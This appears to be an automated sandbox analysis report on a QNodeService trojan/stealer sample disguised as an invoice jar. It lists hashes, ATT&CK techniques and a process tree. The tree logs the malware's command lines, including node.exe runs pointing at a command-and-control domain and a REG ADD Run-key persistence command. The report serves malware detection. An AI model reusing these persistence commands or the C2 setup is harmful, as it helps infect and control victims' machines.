qnodeservice | e3fcf0a8d553c5bc5061798ccb1a4c08d17ad653331f83b0d7151cd8d3f5735a

General

Target

Invoice#2208.jar
Size

76KB
MD5

7093c1ec98624a2f52cde9e290c4b21c
SHA1

5df109a68ed6beead5952ee36007571fdd483994
SHA256

e3fcf0a8d553c5bc5061798ccb1a4c08d17ad653331f83b0d7151cd8d3f5735a
SHA512

310907dc6036a0fdcb77945910e18eb49f0900036a3165124f34a644d4a6e8e01c07b28dd64110e2d18ef98ba9ed879b269acc472742cef8b33599737e0d3654

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1224	node.exe
1808	node.exe
2244	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\af39b31f-4647-4840-8996-0386ebf0f08a = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab5b-171.dat	js
behavioral2/files/0x000100000001ab5b-175.dat	js
behavioral2/files/0x000100000001ab5b-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1224	node.exe
1224	node.exe
1224	node.exe
1224	node.exe
1808	node.exe
1808	node.exe
1808	node.exe
1808	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe
2244	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 3996	4700	java.exe	75
PID 4700 wrote to memory of 3996	4700	java.exe	75
PID 3996 wrote to memory of 1224	3996	javaw.exe	79
PID 3996 wrote to memory of 1224	3996	javaw.exe	79
PID 1224 wrote to memory of 1808	1224	node.exe	81
PID 1224 wrote to memory of 1808	1224	node.exe	81
PID 1808 wrote to memory of 2244	1808	node.exe	82
PID 1808 wrote to memory of 2244	1808	node.exe	82
PID 2244 wrote to memory of 2260	2244	node.exe	84
PID 2244 wrote to memory of 2260	2244	node.exe	84
PID 2260 wrote to memory of 4248	2260	cmd.exe	85
PID 2260 wrote to memory of 4248	2260	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Invoice#2208.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\71b1c6e8.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain success87.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VrWp0d\boot.js --hub-domain success87.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VrWp0d\boot.js --hub-domain success87.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2244
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "af39b31f-4647-4840-8996-0386ebf0f08a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2260
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "af39b31f-4647-4840-8996-0386ebf0f08a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1224-173-0x000000B356A80000-0x000000B356A81000-memory.dmp

Filesize
4KB

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memory/1808-176-0x0000022DB6300000-0x0000022DB6301000-memory.dmp

Filesize
4KB

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memory/2244-180-0x0000033CDF0C0000-0x0000033CDF0C1000-memory.dmp

Filesize
4KB

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